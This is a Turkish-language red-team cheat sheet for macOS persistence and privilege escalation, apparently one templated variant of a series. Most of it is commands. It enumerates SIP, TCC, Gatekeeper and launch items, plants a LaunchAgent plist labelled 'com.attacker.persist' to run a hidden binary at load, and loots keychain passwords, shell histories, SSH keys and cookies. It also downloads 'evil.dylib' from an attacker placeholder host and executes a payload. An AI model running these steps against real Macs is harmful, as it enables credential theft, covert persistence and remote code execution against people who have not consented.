macOS Auto Start

macos privesc

macOS Auto Start macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.

Metodoloji

1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

2. macOS Auto Start için launch item, entitlement ve library/XPC yüzeyini tara.

3. Injection veya privacy bypass hipotezini doğrula.

4. Keychain/TCC/hassas dosya kanıtını al.

Durum

macOS Auto Start macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

id; whoami; hostname

sw_vers; uname -a

csrutil status

spctl --status

system_profiler SPSoftwareDataType | head -n 40

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null

ps aux | head -n 50

lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

Kalıcılık / MDM

LaunchAgent/Daemon, Login Item ve MDM enrollment red-team kalıcılık yüzeyidir.

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons /System/Library/LaunchDaemons 2>/dev/null

launchctl list | head -n 40

osascript -e 'tell application "System Events" to get the name of every login item'

profiles status -type enrollment 2>/dev/null

profiles list -verbose 2>/dev/null | head

system_profiler SPHardwareDataType | rg 'Serial'

cat ~/Library/LaunchAgents/*.plist 2>/dev/null | head -n 80

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>Label</key><string>com.attacker.persist</string>
  <key>ProgramArguments</key><array><string>/Users/Shared/p</string></array>
  <key>RunAtLoad</key><true/>
</dict></plist>

Sistem / binary / debug

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

file /Applications/App.app/Contents/MacOS/*

lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null

nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

vmmap $(pgrep -n App) 2>/dev/null | head

lldb -p $(pgrep -n App)

nvram -p

kextstat 2>/dev/null | head

systemextensionsctl list 2>/dev/null

ioreg -l | rg -i 'IOUserClient|IOKit' | head

ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head

find /Users /Library -name '*.plist' 2>/dev/null | head -n 40

Hassas veri ve loot

ls -la ~/Library/Keychains ~/.ssh 2>/dev/null

cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50

defaults read 2>/dev/null | head

find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head

security find-internet-password -g 2>/dev/null | head

Manuel doğrulama

# macOS Auto Start — varyant 68

ls -la@ ~/Library ~/Documents 2>/dev/null | head

mdfind 'kMDItemKind == Application' | head

defaults read com.apple.dock 2>/dev/null | head

log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head

fs_usage -w -f filesys 2>/dev/null | head

sample App 3 2>/dev/null | head

Payload taşıma

python3 -m http.server 8000

curl -O http://ATTACKER/evil.dylib

chmod +x ./payload && ./payload

Checklist

[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

Notlar

macOS Auto Start sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.